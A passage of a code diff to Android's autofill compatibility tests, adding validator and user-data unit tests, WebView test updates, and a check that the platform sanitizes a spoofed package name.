- final String negativeButtonText = (negativeButtonStyle
- == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT) ? "NOT NOW" : "NO THANKS";
- UiObject2 negativeButton = snackbar.findObject(By.text(negativeButtonText));
- assertWithMessage("negative button (%s)", negativeButtonText)
- .that(negativeButton).isNotNull();
+ final String negativeButtonStringId =
+ (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT)
+ ? RESOURCE_STRING_SAVE_BUTTON_NOT_NOW
+ : RESOURCE_STRING_SAVE_BUTTON_NO_THANKS;
+ final String expectedNegativeButtonText = getString(negativeButtonStringId).toUpperCase();
+ final UiObject2 negativeButton = waitForObject(snackbar,
+ By.res("android", RESOURCE_ID_SAVE_BUTTON_NO), UI_TIMEOUT_MS);
+ assertWithMessage("wrong text on negative button")
+ .that(negativeButton.getText().toUpperCase()).isEqualTo(expectedNegativeButtonText);
final String expectedAccessibilityTitle =
getString(RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE);
@@ -530,6 +559,8 @@
}
SystemClock.sleep(napTime);
}
+ Log.e(TAG, "waitForObject() for " + selector + "failed; dumping screen on System.out");
+ dumpScreen();
throw new RetryableException("Object with selector '%s' not found in %d ms",
selector, UI_TIMEOUT_MS);
@@ -575,10 +606,6 @@
selector, UI_TIMEOUT_MS);
}
- private UiObject2 findDatasetPicker() {
- return findDatasetPicker(UI_TIMEOUT_MS);
- }
-
private UiObject2 findDatasetPicker(long timeout) {
final UiObject2 picker = waitForObject(By.res("android", RESOURCE_ID_DATASET_PICKER),
timeout);
@@ -646,7 +673,22 @@
/**
* Dumps the current view hierarchy int the output stream.
*/
- public void dumpScreen() throws IOException {
- mDevice.dumpWindowHierarchy(System.out);
+ public void dumpScreen() {
+ try {
+ try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+ mDevice.dumpWindowHierarchy(os);
+ os.flush();
+ Log.w(TAG, "Window hierarchy:");
+ for (String line : os.toString("UTF-8").split("\n")) {
+ Log.w(TAG, line);
+ // Sleep a little bit to avoid logs being ignored due to spam
+ SystemClock.sleep(100);
+ }
+ }
+ } catch (IOException e) {
+ // Just ignore it...
+ Log.e(TAG, "exception dumping window hierarchy", e);
+ return;
+ }
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
new file mode 100644
index 0000000..61bcdf2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.UserData;
+import android.support.test.runner.AndroidJUnit4;
+
+import com.google.common.base.Strings;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class UserDataTest {
+
+ private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
+ private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
+ + Strings.repeat("?", UserData.getMaxValueLength());
+ private final String mRemoteId = "id1";
+ private final String mRemoteId2 = "id2";
+ private final String mValue = mShortValue + "-1";
+ private final String mValue2 = mShortValue + "-2";
+ private final UserData.Builder mBuilder = new UserData.Builder(mRemoteId, mValue);
+
+ @Test
+ public void testBuilder_invalid() {
+ assertThrows(NullPointerException.class,
+ () -> new UserData.Builder(mRemoteId, null));
+ assertThrows(IllegalArgumentException.class,
+ () -> new UserData.Builder(mRemoteId, ""));
+ assertThrows(IllegalArgumentException.class,
+ () -> new UserData.Builder(mRemoteId, mShortValue));
+ assertThrows(IllegalArgumentException.class,
+ () -> new UserData.Builder(mRemoteId, mLongValue));
+ assertThrows(NullPointerException.class,
+ () -> new UserData.Builder(null, mValue));
+ assertThrows(IllegalArgumentException.class,
+ () -> new UserData.Builder("", mValue));
+ }
+
+ @Test
+ public void testAdd_invalid() {
+ assertThrows(NullPointerException.class, () -> mBuilder.add(mRemoteId, null));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, ""));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, mShortValue));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, mLongValue));
+ assertThrows(NullPointerException.class, () -> mBuilder.add(null, mValue));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.add("", mValue));
+ }
+
+ @Test
+ public void testAdd_duplicatedId() {
+ assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId, mValue2));
+ }
+
+ @Test
+ public void testAdd_duplicatedValue() {
+ assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId2, mValue));
+ }
+
+ @Test
+ public void testAdd_maximumReached() {
+ // Must start from 1 because first is added on builder
+ for (int i = 1; i < UserData.getMaxFieldClassificationIdsSize() - 1; i++) {
+ mBuilder.add("ID" + i, mShortValue.toUpperCase() + i);
+ }
+ assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId, mValue));
+ }
+
+ @Test
+ public void testBuild_valid() {
+ assertThat(mBuilder.build()).isNotNull();
+ }
+
+ @Test
+ public void testNoMoreInteractionsAfterBuild() {
+ testBuild_valid();
+
+ assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId2, mValue));
+ assertThrows(IllegalStateException.class, () -> mBuilder.build());
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
index 21ebac2..5214748 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
@@ -21,11 +21,14 @@
import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+
+import android.service.autofill.InternalValidator;
import android.service.autofill.LuhnChecksumValidator;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.Validator;
-import android.service.autofill.Validators;
-import android.support.annotation.NonNull;
+import android.service.autofill.ValueFinder;
import android.view.View;
import android.view.autofill.AutofillId;
@@ -34,9 +37,9 @@
import org.junit.Rule;
import org.junit.Test;
-import java.util.function.BiFunction;
-import java.util.regex.Pattern;
-
+/**
+ * Simple integration test to verify that the UI is only shown if the validator passes.
+ */
public class ValidatorTest extends AutoFillServiceTestCase {
@Rule
public final AutofillActivityTestRule<LoginActivity> mActivityRule =
@@ -54,24 +57,30 @@
WelcomeActivity.finishIt();
}
- /**
- * Base test
- *
- * @param validatorBuilder method to build a validator
- * @param willSaveBeShown Whether the save pop-up will be shown
- */
- private void testValidator(
- @NonNull BiFunction<AutofillId, AutofillId, Validator> validatorBuilder,
- boolean willSaveBeShown) throws Exception {
+ @Test
+ public void testShowUiWhenValidatorPass() throws Exception {
+ integrationTest(true);
+ }
+
+ @Test
+ public void testDontShowUiWhenValidatorFails() throws Exception {
+ integrationTest(false);
+ }
+
+ private void integrationTest(boolean willSaveBeShown) throws Exception {
enableService();
- AutofillId usernameId = mActivity.getUsername().getAutofillId();
- AutofillId passwordId = mActivity.getPassword().getAutofillId();
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+
+ final String username = willSaveBeShown ? "7992739871-3" : "4815162342-108";
+ final LuhnChecksumValidator validator = new LuhnChecksumValidator(usernameId);
+ // Sanity check to make sure the validator is properly configured
+ assertValidator(validator, usernameId, username, willSaveBeShown);
// Set response
sReplier.addResponse(new CannedFillResponse.Builder()
.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
- .setValidator(validatorBuilder.apply(usernameId, passwordId))
+ .setValidator(validator)
.build());
// Trigger auto-fill
@@ -81,8 +90,8 @@
sReplier.getNextFillRequest();
// Trigger save.
- mActivity.onUsername((v) -> v.setText("7992739871-3"));
- mActivity.onPassword((v) -> v.setText("passwd"));
+ mActivity.onUsername((v) -> v.setText(username));
+ mActivity.onPassword((v) -> v.setText("pass"));
mActivity.tapLogin();
if (willSaveBeShown) {
@@ -95,45 +104,10 @@
assertNoDanglingSessions();
}
- @Test
- public void checkForInvalidField() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.or(
- new LuhnChecksumValidator(new AutofillId(-1)),
- new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
- }
-
- @Test
- public void checkBoth() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.and(
- new LuhnChecksumValidator(usernameId),
- new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
- }
-
- @Test
- public void checkEither1() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.or(
- new RegexValidator(usernameId, Pattern.compile("7.*")),
- new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
- }
-
- @Test
- public void checkEither2() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.or(
- new RegexValidator(usernameId, Pattern.compile("invalid")),
- new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
- }
-
- @Test
- public void checkBothButFail() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.and(
- new RegexValidator(usernameId, Pattern.compile("7.*")),
- new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
- }
-
- @Test
- public void checkEitherButFail() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.or(
- new RegexValidator(usernameId, Pattern.compile("invalid")),
- new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
+ private void assertValidator(InternalValidator validator, AutofillId id, String text,
+ boolean valid) {
+ final ValueFinder valueFinder = mock(ValueFinder.class);
+ doReturn(text).when(valueFinder).findByAutofillId(id);
+ assertThat(validator.isValid(valueFinder)).isEqualTo(valid);
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
new file mode 100644
index 0000000..6c7979d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.service.autofill.Validators.and;
+import static android.service.autofill.Validators.not;
+import static android.service.autofill.Validators.or;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.InternalValidator;
+import android.service.autofill.Validator;
+import android.service.autofill.ValueFinder;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+public class ValidatorsTest extends AutoFillServiceTestCase {
+
+ @Mock private Validator mInvalidValidator;
+ @Mock private ValueFinder mValueFinder;
+ @Mock private InternalValidator mValidValidator;
+ @Mock private InternalValidator mValidValidator2;
+
+ @Test
+ public void testAnd_null() {
+ assertThrows(NullPointerException.class, () -> and((Validator) null));
+ assertThrows(NullPointerException.class, () -> and(mValidValidator, null));
+ assertThrows(NullPointerException.class, () -> and(null, mValidValidator));
+ }
+
+ @Test
+ public void testAnd_invalid() {
+ assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator));
+ assertThrows(IllegalArgumentException.class, () -> and(mValidValidator, mInvalidValidator));
+ assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator, mValidValidator));
+ }
+
+ @Test
+ public void testAnd_firstFailed() {
+ doReturn(false).when(mValidValidator).isValid(mValueFinder);
+ assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isFalse();
+ verify(mValidValidator2, never()).isValid(mValueFinder);
+ }
+
+ @Test
+ public void testAnd_firstPassedSecondFailed() {
+ doReturn(true).when(mValidValidator).isValid(mValueFinder);
+ doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+ assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isFalse();
+ }
+
+ @Test
+ public void testAnd_AllPassed() {
+ doReturn(true).when(mValidValidator).isValid(mValueFinder);
+ doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+ assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isTrue();
+ }
+
+ @Test
+ public void testOr_null() {
+ assertThrows(NullPointerException.class, () -> or((Validator) null));
+ assertThrows(NullPointerException.class, () -> or(mValidValidator, null));
+ assertThrows(NullPointerException.class, () -> or(null, mValidValidator));
+ }
+
+ @Test
+ public void testOr_invalid() {
+ assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator));
+ assertThrows(IllegalArgumentException.class, () -> or(mValidValidator, mInvalidValidator));
+ assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator, mValidValidator));
+ }
+
+ @Test
+ public void testOr_AllFailed() {
+ doReturn(false).when(mValidValidator).isValid(mValueFinder);
+ doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+ assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isFalse();
+ }
+
+ @Test
+ public void testOr_firstPassed() {
+ doReturn(true).when(mValidValidator).isValid(mValueFinder);
+ assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isTrue();
+ verify(mValidValidator2, never()).isValid(mValueFinder);
+ }
+
+ @Test
+ public void testOr_secondPassed() {
+ doReturn(false).when(mValidValidator).isValid(mValueFinder);
+ doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+ assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isTrue();
+ }
+
+ @Test
+ public void testNot_null() {
+ assertThrows(IllegalArgumentException.class, () -> not(null));
+ }
+
+ @Test
+ public void testNot_invalidClass() {
+ assertThrows(IllegalArgumentException.class, () -> not(mInvalidValidator));
+ }
+
+ @Test
+ public void testNot_falseToTrue() {
+ doReturn(false).when(mValidValidator).isValid(mValueFinder);
+ final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
+ assertThat(notValidator.isValid(mValueFinder)).isTrue();
+ }
+
+ @Test
+ public void testNot_trueToFalse() {
+ doReturn(true).when(mValidValidator).isValid(mValueFinder);
+ final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
+ assertThat(notValidator.isValid(mValueFinder)).isFalse();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
index 8adbdd7..f5401af 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
@@ -35,6 +35,7 @@
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
import android.autofillservice.cts.VirtualContainerView.Line;
+import android.content.ComponentName;
import android.graphics.Rect;
import android.os.SystemClock;
import android.service.autofill.SaveInfo;
@@ -381,7 +382,7 @@
// Set expectations.
sReplier.addResponse(new CannedFillResponse.Builder()
.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
- .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+ .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
.build());
final CountDownLatch latch = new CountDownLatch(1);
@@ -411,6 +412,30 @@
sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
}
+ @Test
+ public void testAppCannotFakePackageName() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.acceptRequestsFromPackage("MALICIOUS");
+ mActivity.mCustomView.fakePackageName(new ComponentName("MALICIOUS", "AM.I"));
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+
+ // Trigger auto-fill.
+ mActivity.mUsername.changeFocus(true);
+ assertDatasetShown(mActivity.mUsername, "The Dude");
+
+ // Make sure package name was sanitized.
+ final FillRequest request = sReplier.getNextFillRequest();
+ assertThat(request.structure.getActivityComponent().getPackageName())
+ .isEqualTo(mPackageName);
+ }
+
/**
* Asserts the dataset picker is properly displayed in a give line.
*/
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
index 205fcae..d8b1c47 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -20,7 +20,9 @@
import static com.google.common.truth.Truth.assertWithMessage;
+import android.app.assist.AssistStructure;
import android.app.assist.AssistStructure.ViewNode;
+import android.content.ComponentName;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Color;
@@ -72,6 +74,7 @@
private int mUnfocusedColor;
private boolean mSync = true;
private boolean mOverrideDispatchProvideAutofillStructure = false;
+ private ComponentName mFackedComponentName;
public VirtualContainerView(Context context, AttributeSet attrs) {
super(context, attrs);
@@ -192,6 +195,18 @@
Log.d(TAG, "onProvideAutofillVirtualStructure(): flags = " + flags);
super.onProvideAutofillVirtualStructure(structure, flags);
+ if (mFackedComponentName != null) {
+ Log.d(TAG, "Faking package name to " + mFackedComponentName);
+ try {
+ final AssistStructure assistStructure = Helper.getField(structure, "mAssist");
+ if (assistStructure != null) {
+ Helper.setField(assistStructure, "mActivityComponent", mFackedComponentName);
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "Could not fake package name to " + mFackedComponentName, e);
+ }
+ }
+
final String packageName = getContext().getPackageName();
structure.setClassName(getClass().getName());
final int childrenSize = mItems.size();
@@ -254,6 +269,11 @@
mSync = sync;
}
+ void fakePackageName(ComponentName name) {
+ mFackedComponentName = name;
+ }
+
+
void setOverrideDispatchProvideAutofillStructure(boolean flag) {
mOverrideDispatchProvideAutofillStructure = flag;
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
index 9bc3df0..331c3d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -18,11 +18,13 @@
import android.os.Bundle;
import android.support.test.uiautomator.UiObject2;
import android.util.Log;
+import android.view.View;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.EditText;
+import android.widget.LinearLayout;
import java.io.IOException;
@@ -33,7 +35,21 @@
private static final String FAKE_URL = "https://" + FAKE_DOMAIN + ":666/login.html";
static final String ID_WEBVIEW = "webview";
- WebView mWebView;
+ static final String HTML_NAME_USERNAME = "username";
+ static final String HTML_NAME_PASSWORD = "password";
+
+ static final String ID_OUTSIDE1 = "outside1";
+ static final String ID_OUTSIDE2 = "outside2";
+
+ // TODO(b/69557967): WebView currently does not report the nodes content description properties.
+ private static final boolean CONTENT_DESCRIPTION_SUPPORTED = false;
+
+ private MyWebView mWebView;
+
+ private LinearLayout mOutsideContainer1;
+ private LinearLayout mOutsideContainer2;
+ EditText mOutside1;
+ EditText mOutside2;
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -64,7 +80,23 @@
}
}
});
- mWebView.loadUrl(FAKE_URL);
+
+ mOutsideContainer1 = findViewById(R.id.outsideContainer1);
+ mOutsideContainer2 = findViewById(R.id.outsideContainer2);
+ mOutside1 = findViewById(R.id.outside1);
+ mOutside2 = findViewById(R.id.outside2);
+ }
+
+ public MyWebView loadWebView() {
+ syncRunOnUiThread(() -> mWebView.loadUrl(FAKE_URL));
+ return mWebView;
+ }
+
+ public void loadOutsideViews() {
+ syncRunOnUiThread(() -> {
+ mOutsideContainer1.setVisibility(View.VISIBLE);
+ mOutsideContainer2.setVisibility(View.VISIBLE);
+ });
}
public UiObject2 getUsernameLabel(UiBot uiBot) {
@@ -75,7 +107,6 @@
return getLabel(uiBot, "Password: ");
}
-
public UiObject2 getUsernameInput(UiBot uiBot) {
return getInput(uiBot, "Username: ");
}
@@ -85,12 +116,14 @@
}
public UiObject2 getLoginButton(UiBot uiBot) {
- return uiBot.assertShownByContentDescription("Login");
+ return getLabel(uiBot, "Login");
}
private UiObject2 getLabel(UiBot uiBot, String contentDescription) {
- final UiObject2 label = uiBot.assertShownByContentDescription(contentDescription);
- return label;
+ if (!CONTENT_DESCRIPTION_SUPPORTED) {
+ return uiBot.assertShownByText(contentDescription);
+ }
+ return uiBot.assertShownByContentDescription(contentDescription);
}
private UiObject2 getInput(UiBot uiBot, String contentDescription) {
@@ -105,10 +138,12 @@
if (child.getClassName().equals(EditText.class.getName())) {
return child;
}
+ uiBot.dumpScreen();
throw new IllegalStateException("Invalid class for " + child);
}
previous = child;
}
+ uiBot.dumpScreen();
throw new IllegalStateException("could not find username (label=" + label + ")");
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index 7eb73d2..7375fd9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -16,6 +16,10 @@
package android.autofillservice.cts;
import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE1;
+import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE2;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
import static com.google.common.truth.Truth.assertThat;
@@ -65,6 +69,9 @@
// Set service.
enableService();
+ // Load WebView
+ mActivity.loadWebView();
+
// Set expectations.
sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
@@ -81,11 +88,15 @@
// Set service.
enableService();
+ // Load WebView
+ final MyWebView myWebView = mActivity.loadWebView();
+
// Set expectations.
+ myWebView.expectAutofill("dude", "sweet");
final MyAutofillCallback callback = mActivity.registerCallback();
sReplier.addResponse(new CannedDataset.Builder()
- .setField("username", "dude")
- .setField("password", "sweet")
+ .setField(HTML_NAME_USERNAME, "dude")
+ .setField(HTML_NAME_PASSWORD, "sweet")
.setPresentation(createPresentation("The Dude"))
.build());
@@ -95,18 +106,19 @@
sUiBot.assertDatasets("The Dude");
// Change focus around.
- final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
mActivity.getUsernameLabel(sUiBot).click();
- callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+ callback.assertUiHiddenEvent(myWebView, usernameChildId);
sUiBot.assertNoDatasets();
mActivity.getPasswordInput(sUiBot).click();
- final int passwordChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
final UiObject2 datasetPicker = sUiBot.assertDatasets("The Dude");
// Now Autofill it.
sUiBot.selectDataset(datasetPicker, "The Dude");
+ myWebView.assertAutofilled();
sUiBot.assertNoDatasets();
- callback.assertUiHiddenEvent(mActivity.mWebView, passwordChildId);
+ callback.assertUiHiddenEvent(myWebView, passwordChildId);
// Make sure screen was autofilled.
assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
@@ -118,20 +130,14 @@
// Assert structure passed to service.
try {
- final ViewNode webViewNode = Helper.findWebViewNode(fillRequest.structure, "FORM AM I");
- // TODO(b/66953802): class name should be android.webkit.WebView, and form name should
- // be inside HtmlInfo, but Chromium 61 does not implement that.
- if (webViewNode.getClassName().equals("android.webkit.WebView")) {
- final HtmlInfo htmlInfo = Helper.assertHasHtmlTag(webViewNode, "form");
- Helper.assertHasAttribute(htmlInfo, "name", "FORM AM I");
- } else {
- assertThat(webViewNode.getClassName()).isEqualTo("FORM AM I");
- assertThat(webViewNode.getHtmlInfo()).isNull();
- }
+ final ViewNode webViewNode =
+ Helper.findWebViewNodeByFormName(fillRequest.structure, "FORM AM I");
+ assertThat(webViewNode.getClassName()).isEqualTo("android.webkit.WebView");
assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
+ assertThat(webViewNode.getWebScheme()).isEqualTo("https");
final ViewNode usernameNode =
- Helper.findNodeByHtmlName(fillRequest.structure, "username");
+ Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_USERNAME);
Helper.assertTextIsSanitized(usernameNode);
final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
@@ -141,7 +147,7 @@
assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
final ViewNode passwordNode =
- Helper.findNodeByHtmlName(fillRequest.structure, "password");
+ Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_PASSWORD);
Helper.assertTextIsSanitized(passwordNode);
final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
@@ -161,9 +167,13 @@
// Set service.
enableService();
+ // Load WebView
+ mActivity.loadWebView();
+
// Set expectations.
sReplier.addResponse(new CannedFillResponse.Builder()
- .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+ HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
.build());
// Trigger autofill.
@@ -190,8 +200,10 @@
// Assert results
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
- final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure, "username");
- final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+ final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_USERNAME);
+ final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_PASSWORD);
if (INJECT_EVENTS) {
Helper.assertTextAndValue(usernameNode, "u");
Helper.assertTextAndValue(passwordNode, "p");
@@ -206,13 +218,18 @@
// Set service.
enableService();
+ // Load WebView
+ final MyWebView myWebView = mActivity.loadWebView();
+
// Set expectations.
final MyAutofillCallback callback = mActivity.registerCallback();
+ myWebView.expectAutofill("dude", "sweet");
sReplier.addResponse(new CannedFillResponse.Builder()
- .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+ HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
.addDataset(new CannedDataset.Builder()
- .setField("username", "dude")
- .setField("password", "sweet")
+ .setField(HTML_NAME_USERNAME, "dude")
+ .setField(HTML_NAME_PASSWORD, "sweet")
.setPresentation(createPresentation("The Dude"))
.build())
.build());
@@ -221,21 +238,24 @@
mActivity.getUsernameInput(sUiBot).click();
final FillRequest fillRequest = sReplier.getNextFillRequest();
sUiBot.assertDatasets("The Dude");
- final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
// Assert structure passed to service.
- final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure, "username");
+ final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure,
+ HTML_NAME_USERNAME);
Helper.assertTextIsSanitized(usernameNode);
assertThat(usernameNode.isFocused()).isTrue();
assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
- final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure, "password");
+ final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure,
+ HTML_NAME_PASSWORD);
Helper.assertTextIsSanitized(passwordNode);
assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
assertThat(passwordNode.isFocused()).isFalse();
// Autofill it.
sUiBot.selectDataset("The Dude");
- callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+ myWebView.assertAutofilled();
+ callback.assertUiHiddenEvent(myWebView, usernameChildId);
// Make sure screen was autofilled.
assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
@@ -262,8 +282,10 @@
// Assert results
